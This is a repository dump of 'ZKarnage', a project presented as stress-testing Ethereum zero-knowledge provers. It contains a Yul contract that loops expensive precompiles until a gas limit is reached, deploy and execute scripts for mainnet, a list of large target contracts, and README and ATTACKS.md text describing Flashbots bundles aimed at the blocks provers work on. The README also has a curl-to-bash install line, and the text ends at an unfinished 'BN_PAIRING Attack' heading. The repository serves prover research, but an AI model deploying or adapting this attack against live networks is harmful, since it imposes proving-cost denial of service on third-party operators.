├── zkarnage.png
├── .gitmodules
├── requirements.txt
├── src
├── Counter.sol
├── AddressList.sol
├── ZKarnage.yul
└── ZKarnage.sol
├── .gitignore
├── .env.example
├── foundry.toml
├── test
├── Counter.t.sol
├── ZKarnage.t.sol
└── ZKarnageYul.t.sol
├── script
├── DeployZKarnage.s.sol
├── CheckSizes.s.sol
├── DeployZKarnageYul.s.sol
├── ExecuteZKarnageYul.s.sol
├── generate_block.py
└── run_attack.py
├── .github
└── workflows
│ └── test.yml
├── README.md
├── ATTACKS.md
└── MAINNET_EXECUTION_PLAN.md
/zkarnage.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yourbuddyconner/zkarnage/HEAD/zkarnage.png
--------------------------------------------------------------------------------
/.gitmodules:
--------------------------------------------------------------------------------
1 | [submodule "lib/forge-std"]
2 | path = lib/forge-std
3 | url = https://github.com/foundry-rs/forge-std
4 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | web3>=6.15.1
2 | eth-account>=0.10.0
3 | eth-typing>=3.5.2
4 | eth-utils>=2.3.1
5 | flashbots>=1.2.0
6 | python-dotenv>=1.0.0
7 | aiohttp>=3.9.1
8 | async-timeout>=4.0.3
9 | eth-abi>=4.2.1
10 | requests>=2.31.0
11 | typing-extensions>=4.9.0
12 | loguru>=0.7.2
--------------------------------------------------------------------------------
/src/Counter.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: UNLICENSED
2 | pragma solidity ^0.8.13;
3 |
4 | contract Counter {
5 | uint256 public number;
6 |
7 | function setNumber(uint256 newNumber) public {
8 | number = newNumber;
9 | }
10 |
11 | function increment() public {
12 | number++;
13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Compiler files
2 | cache/
3 | out/
4 |
5 | # Ignores development broadcast logs
6 | !/broadcast
7 | /broadcast/*/31337/
8 | /broadcast/**/dry-run/
9 |
10 | # Docs
11 | docs/
12 |
13 | # Dotenv file
14 | .env
15 |
16 | # Transaction data
17 | transaction_data.txt
18 | target_block.txt
19 | contract_address.txt
20 | broadcast/
21 |
22 | **__pycache__/**
23 | **__pycache__
24 | **logs/**
25 | *.log
--------------------------------------------------------------------------------
/.env.example:
--------------------------------------------------------------------------------
1 | # Your Ethereum node RPC URL (e.g. Alchemy, Infura, etc.)
2 | ETH_RPC_URL=https://eth-mainnet.alchemyapi.io/v2/your-api-key
3 |
4 | # Your private key (without 0x prefix)
5 | PRIVATE_KEY=your_private_key_here
6 |
7 | # Optional: Flashbots relay URL (defaults to mainnet)
8 | FLASHBOTS_RELAY_URL=https://relay.flashbots.net
9 |
10 | # Optional: Set logging level (DEBUG, INFO, WARNING, ERROR)
11 | LOG_LEVEL=INFO
--------------------------------------------------------------------------------
/foundry.toml:
--------------------------------------------------------------------------------
1 | [profile.default]
2 | src = "src"
3 | out = "out"
4 | libs = ["lib"]
5 | evm_version = "paris" # or "shanghai" or "cancun" depending on your needs
6 | # Enable fork testing
7 | ffi = true
8 | # Increase the default timeout for tests
9 | test_timeout = 100000
10 | gas_reports = ["ZKarnageYul"]
11 |
12 | fs_permissions = [{ access = "read-write", path = "./"}]
13 |
14 | # See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options
15 |
16 | [rpc_endpoints]
17 | mainnet = "${ETH_RPC_URL}"
18 |
--------------------------------------------------------------------------------
/test/Counter.t.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: UNLICENSED
2 | pragma solidity ^0.8.13;
3 |
4 | import {Test, console} from "../lib/forge-std/src/Test.sol";
5 | import {Counter} from "../src/Counter.sol";
6 |
7 | contract CounterTest is Test {
8 | Counter public counter;
9 |
10 | function setUp() public {
11 | counter = new Counter();
12 | counter.setNumber(0);
13 | }
14 |
15 | function test_Increment() public {
16 | counter.increment();
17 | assertEq(counter.number(), 1);
18 | }
19 |
20 | function testFuzz_SetNumber(uint256 x) public {
21 | counter.setNumber(x);
22 | assertEq(counter.number(), x);
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/script/DeployZKarnage.s.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.19;
3 |
4 | import {Script} from "../lib/forge-std/src/Script.sol";
5 | import {console} from "../lib/forge-std/src/console.sol";
6 | import "../src/ZKarnage.sol";
7 |
8 | contract DeployZKarnageScript is Script {
9 | function run() external {
10 | // Fetch private key from environment variable
11 | uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
12 |
13 | // Start broadcasting transactions
14 | vm.startBroadcast(deployerPrivateKey);
15 |
16 | // Deploy the attack contract
17 | ZKarnage zkarnage = new ZKarnage();
18 |
19 | // Log the deployed contract
20 | console.log("ZKarnage contract deployed at:", address(zkarnage));
21 |
22 | vm.stopBroadcast();
23 | }
24 | }
--------------------------------------------------------------------------------
/.github/workflows/test.yml:
--------------------------------------------------------------------------------
1 | name: CI
2 |
3 | on:
4 | push:
5 | pull_request:
6 | workflow_dispatch:
7 |
8 | env:
9 | FOUNDRY_PROFILE: ci
10 |
11 | jobs:
12 | check:
13 | strategy:
14 | fail-fast: true
15 | matrix:
16 | os: [ubuntu-latest]
17 |
18 | name: Foundry project
19 | runs-on: ${{ matrix.os }}
20 | steps:
21 | - uses: actions/checkout@v4
22 | with:
23 | submodules: recursive
24 |
25 | - name: Install Foundry
26 | uses: foundry-rs/foundry-toolchain@v1
27 |
28 | - name: Show Forge version
29 | run: |
30 | forge --version
31 |
32 | - name: Run Forge fmt
33 | run: |
34 | forge fmt --check
35 | id: fmt
36 |
37 | - name: Run Forge build
38 | run: |
39 | forge build --sizes
40 | id: build
41 |
42 | - name: Run Forge tests
43 | run: |
44 | forge test -vvv
45 | id: test
46 |
--------------------------------------------------------------------------------
/script/CheckSizes.s.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.19;
3 |
4 | import "forge-std/Script.sol";
5 | import "../src/AddressList.sol";
6 |
7 | contract CheckSizesScript is Script {
8 | function run() external {
9 | // Get target contract addresses from the library
10 | address[] memory targets = AddressList.getTargetAddresses();
11 |
12 | uint256 totalSize = 0;
13 | uint256 count = 0;
14 |
15 | console.log("Checking bytecode sizes for target contracts...");
16 | console.log("------------------------------------------------");
17 |
18 | for (uint i = 0; i < targets.length; i++) {
19 | address target = targets[i];
20 | uint256 size = target.code.length;
21 |
22 | if (size > 0) {
23 | console.log(
24 | string.concat(
25 | "Contract ",
26 | vm.toString(i),
27 | ": ",
28 | vm.toString(target),
29 | " -> ",
30 | vm.toString(size),
31 | " bytes (",
32 | vm.toString(size / 1024),
33 | " KB)"
34 | )
35 | );
36 | totalSize += size;
37 | count++;
38 | } else {
39 | console.log(
40 | string.concat(
41 | "Contract ",
42 | vm.toString(i),
43 | ": ",
44 | vm.toString(target),
45 | " -> No code"
46 | )
47 | );
48 | }
49 | }
50 |
51 | console.log("------------------------------------------------");
52 | console.log(
53 | string.concat(
54 | "Total: ",
55 | vm.toString(count),
56 | " contracts with code, totaling ",
57 | vm.toString(totalSize),
58 | " bytes (",
59 | vm.toString(totalSize / 1024),
60 | " KB, ",
61 | vm.toString(totalSize / (1024 * 1024)),
62 | " MB)"
63 | )
64 | );
65 | }
66 | }
--------------------------------------------------------------------------------
/script/DeployZKarnageYul.s.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.19;
3 |
4 | import {Script} from "../lib/forge-std/src/Script.sol";
5 | import {console} from "../lib/forge-std/src/console.sol";
6 | import {stdJson} from "../lib/forge-std/src/StdJson.sol";
7 |
8 | contract DeployZKarnageYul is Script {
9 | using stdJson for string;
10 |
11 | function setUp() public {}
12 |
13 | function run() public {
14 | // Compile the contract using forge build
15 | string[] memory compileCmd = new string[](4);
16 | compileCmd[0] = "forge";
17 | compileCmd[1] = "build";
18 | compileCmd[2] = "--root";
19 | compileCmd[3] = ".";
20 |
21 | console.log("Compiling contract...");
22 | vm.ffi(compileCmd);
23 |
24 | // The artifact path for Yul files follows a specific pattern
25 | string memory artifactPath = "out/ZKarnage.yul/ZKarnage.json";
26 |
27 | // Read the bytecode from the artifact
28 | console.log("Reading artifact from:", artifactPath);
29 | string memory artifactJson = vm.readFile(artifactPath);
30 |
31 | // Extract bytecode from JSON
32 | string memory bytecodeStr = stdJson.readString(artifactJson, ".bytecode.object");
33 | console.log("Bytecode string:", bytecodeStr);
34 |
35 | // Convert the string to bytes, ensuring proper 0x prefix handling
36 | bytes memory bytecode;
37 | if (bytes(bytecodeStr).length > 0) {
38 | bytecode = vm.parseBytes(bytecodeStr);
39 | } else {
40 | revert("Failed to read bytecode from artifact");
41 | }
42 |
43 | console.log("Bytecode length:", bytecode.length);
44 |
45 | // Start broadcasting transactions to the network
46 | vm.startBroadcast();
47 |
48 | // Deploy the contract
49 | address zkarnageAddr;
50 |
51 | assembly {
52 | // Create the contract with the bytecode
53 | zkarnageAddr := create(0, add(bytecode, 0x20), mload(bytecode))
54 | if iszero(extcodesize(zkarnageAddr)) {
55 | revert(0, 0)
56 | }
57 | }
58 |
59 | console.log("ZKarnage.yul deployed at:", zkarnageAddr);
60 |
61 | // Stop broadcasting
62 | vm.stopBroadcast();
63 |
64 | // Write the address to a file for later use
65 | string memory addressString = vm.toString(zkarnageAddr);
66 | vm.writeFile("zkarnage_yul_address.txt", addressString);
67 | console.log("Address saved to zkarnage_yul_address.txt");
68 | }
69 | }
--------------------------------------------------------------------------------
/script/ExecuteZKarnageYul.s.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.19;
3 |
4 | import {Script} from "../lib/forge-std/src/Script.sol";
5 | import {console} from "../lib/forge-std/src/console.sol";
6 |
7 | interface IZKarnageYul {
8 | function f(uint256 opCode, uint256 gasThreshold, uint256 extra) external returns (uint256);
9 | }
10 |
11 | contract ExecuteZKarnageYul is Script {
12 | // Operation codes as defined in ZKarnage.yul
13 | uint256 constant OP_KECCAK = 0x0003;
14 | uint256 constant OP_SHA256 = 0x0023;
15 | uint256 constant OP_ECRECOVER = 0x0021;
16 | uint256 constant OP_MODEXP = 0x0027;
17 |
18 | function setUp() public {}
19 |
20 | function run() public {
21 | // Read command-line arguments
22 | string memory opTypeArg = vm.envOr("OP_TYPE", string("keccak"));
23 | uint256 gasThreshold = vm.envOr("GAS_THRESHOLD", uint256(50000));
24 | address contractAddress = vm.envOr("CONTRACT_ADDRESS", address(0));
25 |
26 | // If no contract address provided, try to read from file
27 | if (contractAddress == address(0)) {
28 | try vm.readFile("zkarnage_yul_address.txt") returns (string memory addressStr) {
29 | contractAddress = vm.parseAddress(addressStr);
30 | console.log("Loaded contract address from file:", contractAddress);
31 | } catch {
32 | revert("No contract address provided. Set CONTRACT_ADDRESS env var or run DeployZKarnageYul.s.sol first.");
33 | }
34 | }
35 |
36 | // Verify the contract exists at the address
37 | uint256 codeSize = contractAddress.code.length;
38 | console.log("Contract code size at address:", codeSize);
39 | if (codeSize == 0) {
40 | revert("No contract exists at the provided address");
41 | }
42 |
43 | console.log("Using contract at address:", contractAddress);
44 | IZKarnageYul zkarnage = IZKarnageYul(contractAddress);
45 |
46 | // Parse operation type and get the corresponding code
47 | uint256 opCode;
48 | if (keccak256(bytes(opTypeArg)) == keccak256(bytes("keccak"))) {
49 | opCode = OP_KECCAK;
50 | console.log("Operation type: KECCAK256");
51 | } else if (keccak256(bytes(opTypeArg)) == keccak256(bytes("sha256"))) {
52 | opCode = OP_SHA256;
53 | console.log("Operation type: SHA256");
54 | } else if (keccak256(bytes(opTypeArg)) == keccak256(bytes("ecrecover"))) {
55 | opCode = OP_ECRECOVER;
56 | console.log("Operation type: ECRECOVER");
57 | } else if (keccak256(bytes(opTypeArg)) == keccak256(bytes("modexp"))) {
58 | opCode = OP_MODEXP;
59 | console.log("Operation type: MODEXP");
60 | } else {
61 | revert(string.concat("Unknown operation type: ", opTypeArg));
62 | }
63 |
64 | console.log("Gas threshold:", gasThreshold);
65 |
66 | // Start broadcasting
67 | vm.startBroadcast();
68 |
69 | // Execute the operation and measure gas usage
70 | console.log("Executing operation...");
71 | uint256 gasStart = gasleft();
72 |
73 | try zkarnage.f(opCode, gasThreshold, 0) returns (uint256 result) {
74 | uint256 gasUsed = gasStart - gasleft();
75 | console.log("Operation successful!");
76 | console.log("Result:", result);
77 | console.log("Gas used:", gasUsed);
78 | } catch (bytes memory reason) {
79 | vm.stopBroadcast();
80 | console.log("Operation failed!");
81 | console.logBytes(reason);
82 | revert("Operation execution failed");
83 | }
84 |
85 | // Stop broadcasting
86 | vm.stopBroadcast();
87 | }
88 | }
--------------------------------------------------------------------------------
/src/AddressList.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.19;
3 |
4 | /**
5 | * @title AddressList
6 | * @dev This library contains all of the addresses that we'll target with our attack
7 | * These addresses have been curated to contain large contracts that will cause
8 | * significant overhead for ZK provers.
9 | */
10 | library AddressList {
11 | function getTargetAddresses() internal pure returns (address[] memory) {
12 | // We'll allocate the array with exactly the right size for all addresses
13 | address[] memory targets = new address[](6);
14 | // Big contracts collected from bigquery
15 | targets[0] = 0x1908D2bD020Ba25012eb41CF2e0eAd7abA1c48BC;
16 | targets[1] = 0xa102b6Eb23670B07110C8d316f4024a2370Be5dF;
17 | targets[2] = 0x84ab2d6789aE78854FbdbE60A9873605f4Fd038c;
18 | targets[3] = 0xfd96A06c832f5F2C0ddf4ba4292988Dc6864f3C5;
19 | targets[4] = 0xE233472882bf7bA6fd5E24624De7670013a079C1;
20 | targets[5] = 0xd3A3d92dbB569b6cd091c12fAc1cDfAEB8229582;
21 | // targets[6] = 0xB95c8fB8a94E175F957B5044525F9129fbA0fE0C;
22 | // targets[7] = 0x1CE8147357D2E68807a79664311aa2dF47c2E4bb;
23 | // targets[8] = 0x557C810F3F47849699B4ac3D52cb1edcd528B4C0;
24 | // targets[9] = 0x4AEF3B98F153f6d15339E75e1CF3e5a4513093ae;
25 | // targets[10] = 0xaA6B611c840e45c7E883F6c535438bB70ce5cc1C;
26 | // targets[11] = 0xf56a3084cC5EF73265fdf9034E53b07124A60018;
27 | // targets[12] = 0x049Bcfc78720d662c27ca3f985E299e576cC113D;
28 | // targets[13] = 0x856Aa0d05f93599ADf9b6131853EC5f0557A9556;
29 | // targets[14] = 0x9964778500A1a15BbA8d11b958Ac3a1954c1738A;
30 | // targets[15] = 0x7DE6598b348f7e9A7EBFeB641f1F2d73A4aD30dA;
31 | // targets[16] = 0x2741D2aEa27a3463eC0ED1824b2147b5CA00D82F;
32 | // targets[17] = 0x8B319591D75B89A9594e9d570640Edd86CC6E554;
33 | // targets[18] = 0xA2BcD2bbACFB648014f542057a8378b621Fe86BA;
34 | // targets[19] = 0xe5aea18B24961d3717e049F36e65cb60d0aF6F76;
35 | // targets[20] = 0x38D7a126f4d978358313365F3f23Cf5620E2B6bB;
36 | // targets[21] = 0xa503eA1c72bD3B897703B229Ef75398a20E70439;
37 | // targets[22] = 0x692f9411301D9bcd9c652D72861692e48C162166;
38 | // targets[23] = 0xFB1519782165F58974e519C5574AD0FbdFf0f847;
39 | // targets[24] = 0xD331010e5df71DbA03De892cd3C14E436111aCAD;
40 | // targets[25] = 0x1a77842DB300E6804a360bE7463c571a6feBC806;
41 | // targets[26] = 0x0148063fbec76D41F1bA19Ec2efc2C0111452C9c;
42 | // targets[27] = 0x854b0faF9C3f8285c5855f9138619F879E53CA8B;
43 | // targets[28] = 0xdeFe69D19884d69e2D3bCE86696764736BE97657;
44 | // targets[29] = 0x6fb9bAf844dfc39023Ef30C1BAeda239C35000F7;
45 | // targets[30] = 0xd1c04db9bba40d59b397b2c1a050247fbbc49b68;
46 | // targets[31] = 0xcc77aa5e5599af505d339db0a0684a813b182cb9;
47 | // targets[32] = 0x11bdd0a3a481268dd9fa0ab6506bf7774972d7b9;
48 | // targets[33] = 0x4f19f84c022743c4efe10bca5b129147032e9bb3;
49 | // targets[34] = 0xd03f427b6211cf0fedf8dd2ee7658c4090c9cf67;
50 | // targets[35] = 0xe715c633289e2edf6d14376d9b1f8b9b0e96d68c;
51 | // targets[36] = 0x3609a560e9edc0530e815aba56732da436858e11;
52 | // targets[37] = 0x1c196d4f046efc444554c540c56cc2e6ee45d691;
53 | // targets[38] = 0x20074705094166207340d059da119a696c49bdad;
54 | // targets[39] = 0x31c79fc17c5528a6f81c51033a4a36a8e288f36a;
55 | // targets[40] = 0x9452e7b67c4c43e4efb80fb219748a31dbb6b553;
56 | // targets[41] = 0x72c6a0c5040c6eaa7828dd8b8613e07552b3d59b;
57 | // targets[42] = 0xd51367d70aeaf2447e5df1a7922a0ed3105f0d04;
58 | // targets[43] = 0xde731fb8bcb00955fa1b658210485c487547885e;
59 | // targets[44] = 0xcf3f7a5e0140d1d7c263f24d2c2d757102912c33;
60 | // targets[45] = 0x6471256e9fdb6c68caa8ae62c01b51b9e1a46bc9;
61 | // targets[46] = 0x8c7423b3db24a2c679a9f317550b3e793a10197d;
62 | // targets[47] = 0xde7ad7a2f133895624e7602517dd4b4b139d7bb9;
63 | // targets[48] = 0x4dcda6a15783b5e302349d738030079b6342e54a;
64 | // targets[49] = 0x48c3f03f77668da8c76486d5fcaab43c81ada32e;
65 |
66 | return targets;
67 | }
68 | }
--------------------------------------------------------------------------------
/src/ZKarnage.yul:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | object "ZKarnage" {
3 | code {
4 | // Constructor
5 | datacopy(0, dataoffset("Runtime"), datasize("Runtime"))
6 | return(0, datasize("Runtime"))
7 | }
8 | object "Runtime" {
9 | code {
10 | // This contract is inspired by evm-stress.yul from the agglayer repository
11 | // https://github.com/agglayer/e2e/blob/jhilliard/evm-stress-readme/core/contracts/evm-stress/README.org
12 | // It exposes a single function that runs various EVM operations in a loop until a gas threshold is reached
13 |
14 | // Function selector is the first 4 bytes of the calldata
15 | let selector := shr(224, calldataload(0))
16 | switch selector
17 | // Function: f(uint256,uint256,uint256)
18 | case 0xbf06dbf1 {
19 | // Parse function arguments
20 | // First arg: op_code - The operation to execute
21 | let op_code := calldataload(4)
22 | // Second arg: limit - Gas threshold to stop the loop
23 | let limit := calldataload(36)
24 | // Third arg: extra - Optional additional parameters
25 | let extra := calldataload(68)
26 |
27 | // Store the result value (if any)
28 | let i := 0
29 |
30 | // Handle different operation types
31 | switch op_code
32 |
33 | // KECCAK256 Handler (0x0003)
34 | case 0x0003 {
35 | mstore(0, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
36 | for {} gt(gas(), limit) {} {
37 | // Input is modified slightly each iteration to avoid optimizations
38 | mstore(0, not(mload(0)))
39 | i := keccak256(0, 32)
40 | }
41 | // Store result of final operation
42 | mstore(0, i)
43 | }
44 |
45 | // SHA-256 Handler (0x0023)
46 | case 0x0023 {
47 | // Set up memory with test data
48 | mstore(0, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
49 | mstore(32, 0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee)
50 | for {} gt(gas(), limit) {} {
51 | // Modify input data slightly each iteration
52 | mstore(0, not(mload(0)))
53 | // Call SHA-256 precompile (address 0x2)
54 | pop(staticcall(gas(), 0x2, 0, 64, 96, 32))
55 | i := mload(96)
56 | }
57 | // Store result
58 | mstore(0, i)
59 | }
60 |
61 | // ECRECOVER Handler (0x0021)
62 | case 0x0021 {
63 | // Data for a valid signature recovery
64 | mstore(0, 0x456e9aea5e197a1f1af7a3e85a3212fa4049a3ba34c2289b4c860fc0b0c64ef3) // Hash
65 | mstore(32, 28) // v
66 | mstore(64, 0x9242685bf161793cc25603c231bc2f568eb630ea16aa137d2664ac8038825608) // r
67 | mstore(96, 0x4f8ae3bd7535248d0bd448298cc2e2071e56992d0774dc340c368ae950852ada) // s
68 | for {} gt(gas(), limit) {} {
69 | // Call ecrecover precompile (address 0x1)
70 | pop(staticcall(gas(), 0x1, 0, 128, 160, 32))
71 | i := mload(160)
72 | }
73 | // Store result
74 | mstore(0, i)
75 | }
76 |
77 | // MODEXP Handler (0x0027)
78 | case 0x0027 {
79 | // Set up inputs for modular exponentiation
80 | // Base length = 32 bytes
81 | mstore(0, 32)
82 | // Exponent length = 32 bytes
83 | mstore(32, 32)
84 | // Modulus length = 32 bytes
85 | mstore(64, 32)
86 | // Base = random large number
87 | mstore(96, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
88 | // Exponent = random large number
89 | mstore(128, 0x8fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
90 | // Modulus = random large prime-like number
91 | mstore(160, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff43)
92 | for {} gt(gas(), limit) {} {
93 | // Call ModExp precompile (address 0x5)
94 | pop(staticcall(gas(), 0x5, 0, 192, 192, 32))
95 | i := mload(192)
96 | }
97 | // Store result
98 | mstore(0, i)
99 | }
100 |
101 | default {
102 | // Unsupported operation
103 | mstore(0, 0x4641494c21) // "FAIL!"
104 | revert(0, 0x20)
105 | }
106 |
107 | // Return the result
108 | return(0, 32)
109 | }
110 |
111 | default {
112 | // Unknown function selector
113 | revert(0, 0)
114 | }
115 | }
116 | }
117 | }
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | # ZKarnage
4 | ### Stress Testing ZK Systems Through Maximum Pain
5 |
6 | This project implements worst-case attacks on Ethereum provers, specifically targeting the computational overhead required for generating zero-knowledge proofs for blocks. The attacks exploit various EVM operations and precompiles that are disproportionately expensive in ZK circuits compared to their gas costs.
7 |
8 |
9 |
10 | 
11 |
12 | > Credit: Original attack vector concept by [@ignaciohagopian](https://x.com/ignaciohagopian) from the Ethereum Foundation
13 | >
14 | > Implementation inspired by [evm-stress.yul](https://github.com/agglayer/e2e/blob/jhilliard/evm-stress-readme/core/contracts/evm-stress/evm-stress.yul) from the [agglayer repository](https://github.com/agglayer/e2e/blob/jhilliard/evm-stress-readme/core/contracts/evm-stress/README.org)
15 |
16 | ## Background
17 |
18 | Zero-knowledge proof systems that verify Ethereum blocks face several challenges:
19 |
20 | 1. **Gas Cost vs. ZK Circuit Complexity**: Many EVM operations have gas costs that don't reflect their true computational complexity in ZK circuits. Some operations can be up to 1000x more expensive to prove than their gas cost suggests.
21 |
22 | 2. **Precompile Asymmetry**: Precompiled contracts, particularly cryptographic operations like MODEXP and BN_PAIRING, show extreme disparities between their gas costs and ZK circuit complexity. For example:
23 | - MODEXP: 200 gas but 215,389 cycles (1076.95x)
24 | - BN_PAIRING: 45,000 gas but 1,705,904 cycles (37.91x)
25 |
26 | 3. **Memory Operations**: Operations involving memory access and copying are significantly more expensive in ZK circuits due to the need to track and verify memory state.
27 |
28 | 4. **Jump Destinations**: Simple operations like JUMPDEST (1 gas) require complex circuit logic, leading to a 1037.68x multiplier in ZK overhead.
29 |
30 | The project targets blocks where block number % 100 == 0, as these are the blocks that [Ethproof provers](https://ethproofs.org/) focus on generating proofs for. Currently, these proofs:
31 | - Take ~4-14 minutes to generate per block
32 | - Cost $0.07-1.29 per proof depending on the prover
33 | - Process blocks using ~30M gas on average
34 |
35 | ## Attack Vectors
36 |
37 | This project implements multiple attack vectors targeting these inefficiencies. For detailed information about each attack vector and its implementation, see [ATTACKS.md](ATTACKS.md).
38 |
39 | ## Network Resilience Testing
40 |
41 | This research serves several important purposes:
42 |
43 | 1. **Permissionless Network Testing**: Ethereum is a permissionless network where any theoretically supported operation is fair game. These attacks use only valid EVM operations.
44 |
45 | 2. **Early Detection**: By identifying and documenting these attack vectors before widespread ZK rollup adoption, we enable:
46 | - Improved circuit optimization strategies
47 | - Better gas cost calibration
48 | - More robust scaling solutions
49 |
50 | 3. **Worst-Case Analysis**: ZK systems must be designed to handle worst-case scenarios, not just typical usage patterns. These attacks help identify potential bottlenecks.
51 |
52 | 4. **Cost Model Validation**: The research highlights misalignments between EVM gas costs and ZK circuit complexity, informing future gas schedule updates.
53 |
54 | ## Project Structure
55 |
56 | ```
57 | zkarnage/
58 | ├── src/ # Source code
59 | │ ├── ZKarnage.sol # Main attack contract implementation
60 | │ └── AddressList.sol # Library containing target contract addresses
61 | ├── script/ # Deployment and execution scripts
62 | │ ├── DeployZKarnage.s.sol # Deploy the attack contract
63 | │ └── run_attack.py # Python orchestration script for Flashbots bundles
64 | ├── test/ # Test files
65 | │ └── ZKarnage.t.sol # Tests for attack contract functionality
66 | ├── ATTACKS.md # Detailed attack vector documentation
67 | ├── foundry.toml # Foundry configuration
68 | ├── requirements.txt # Python dependencies
69 | └── README.md # This file
70 | ```
71 |
72 | ## Setup
73 |
74 | 1. Install Foundry:
75 | ```bash
76 | curl -L https://foundry.paradigm.xyz | bash
77 | foundryup
78 | ```
79 |
80 | 2. Clone this repo:
81 | ```bash
82 | git clone https://github.com/yourbuddyconner/zkarnage
83 | cd zkarnage
84 | ```
85 |
86 | 3. Install dependencies:
87 | ```bash
88 | forge install
89 | pip install -r requirements.txt
90 | ```
91 |
92 | 4. Set up your environment:
93 | ```bash
94 | cp .env.example .env
95 | # Edit .env with your values:
96 | # - ETH_RPC_URL: Your Ethereum node URL
97 | # - PRIVATE_KEY: Your private key (without 0x prefix)
98 | # - FLASHBOTS_RELAY_URL: Optional custom Flashbots relay URL
99 | # - ZKARNAGE_CONTRACT_ADDRESS: Deployed contract address (if exists)
100 | ```
101 |
102 | ## Usage
103 |
104 | ### Deploy Contract
105 |
106 | To deploy the ZKarnage contract:
107 |
108 | ```bash
109 | forge script script/DeployZKarnage.s.sol --rpc-url $ETH_RPC_URL --broadcast
110 | ```
111 |
112 | ### Run Attack Script
113 |
114 | The Python script handles Flashbots bundle submission for executing the attack:
115 |
116 | ```bash
117 | python script/run_attack.py [--fast]
118 | ```
119 |
120 | The script provides:
121 | - Automatic targeting of blocks divisible by 100
122 | - Flashbots bundle creation and submission
123 | - Dynamic fee adjustment based on account priority status
124 | - Real-time bundle status monitoring
125 | - Detailed logging of attack execution
126 |
127 | Options:
128 | - `--fast`: Target block 2 blocks ahead (for testing) instead of waiting for hundred-blocks
129 | - Without flags: Continuously attempts attack on hundred-blocks until successful
130 |
131 | Features:
132 | - Automatic logging to timestamped files in `logs/` directory
133 | - Dynamic gas pricing based on Flashbots account priority
134 | - Bundle simulation before submission
135 | - Real-time monitoring of bundle status and builder consideration
136 | - Transaction confirmation verification
137 | - Graceful error handling and retries
138 |
139 | Example log output:
140 | ```
141 | 2024-01-01 12:00:00 - INFO - Preparing ZKarnage attack
142 | 2024-01-01 12:00:00 - INFO - Current block: 1234567
143 | 2024-01-01 12:00:00 - INFO - Target block: 1234600
144 | 2024-01-01 12:00:00 - INFO - Checking Flashbots user stats and reputation...
145 | 2024-01-01 12:00:01 - INFO - Bundle simulation successful
146 | 2024-01-01 12:00:02 - INFO - Bundle submitted successfully
147 | 2024-01-01 12:00:03 - INFO - Bundle sealed by 3 builders
148 | ```
149 |
150 | ### Testing
151 |
152 | Run the tests to measure gas consumption and effectiveness:
153 |
154 | ```bash
155 | # Set your Ethereum RPC URL for forking mainnet
156 | export ETH_RPC_URL="https://eth-mainnet.alchemyapi.io/v2/YOUR_API_KEY"
157 |
158 | # Run tests with verbose output
159 | forge test -vvvv
160 | ```
161 |
162 | ### Test Configuration
163 |
164 | The tests require proper setup in `foundry.toml`:
165 | ```toml
166 | [profile.default]
167 | evm_version = "paris" # Required for consistent fork testing
168 | ffi = true # Enable fork testing
169 | test_timeout = 100000 # Increased timeout for fork tests
170 |
171 | [rpc_endpoints]
172 | mainnet = "${ETH_RPC_URL}"
173 | ```
174 |
175 | ## License
176 |
177 | This project is licensed under MIT.
178 |
179 | ## Citation
180 |
181 | If you use this work in your research, please cite it as:
182 |
183 | ```bibtex
184 | @software{zkarnage2025,
185 | author = {Swann, Conner},
186 | title = {ZKarnage: Stress Testing ZK Systems Through Maximum Pain},
187 | year = {2025},
188 | publisher = {GitHub},
189 | url = {https://github.com/yourbuddyconner/zkarnage}
190 | }
191 | ```
--------------------------------------------------------------------------------
/ATTACKS.md:
--------------------------------------------------------------------------------
1 | # ZKarnage Attack Vectors
2 |
3 | This document details the various attack vectors implemented in the ZKarnage contract, designed to stress test ZK systems by exploiting operations that are disproportionately expensive in ZK circuits compared to their gas costs.
4 |
5 | ## JUMPDEST Attack
6 | - **Gas Cost**: 1 gas
7 | - **ZK Circuit Complexity**: 1037.68x multiplier
8 | - **Estimated Cycles per Iteration**: 116,220
9 | - **Implementation**: Uses a series of JUMPDEST operations to create a high number of jump destinations that must be verified in the ZK circuit.
10 |
11 | ## Memory Operations Attack
12 | - **Gas Cost**: 3 gas per memory operation
13 | - **ZK Circuit Complexity**: 3-4x multiplier
14 | - **Estimated Cycles per Iteration**: 608
15 | - **Implementation**: Performs multiple memory operations (loads and stores) to stress memory access verification in ZK circuits.
16 |
17 | ## CALLDATACOPY Attack
18 | - **Gas Cost**: 3 gas per word
19 | - **ZK Circuit Complexity**: 3-4x multiplier
20 | - **Estimated Cycles per Iteration**: 13,900
21 | - **Implementation**: Copies large amounts of calldata to memory, creating complex memory state that must be verified.
22 |
23 | ## MODEXP Attack
24 | - **Gas Cost**: 200 gas
25 | - **ZK Circuit Complexity**: 1076.95x multiplier (from [EIP-7883](https://eips.ethereum.org/EIPS/eip-7883))
26 | - **Estimated Cycles per Iteration**: 8,384,000
27 | - **Implementation**: Uses the MODEXP precompile (0x5) with worst-case parameters to maximize computational complexity.
28 |
29 | ## BN_PAIRING Attack
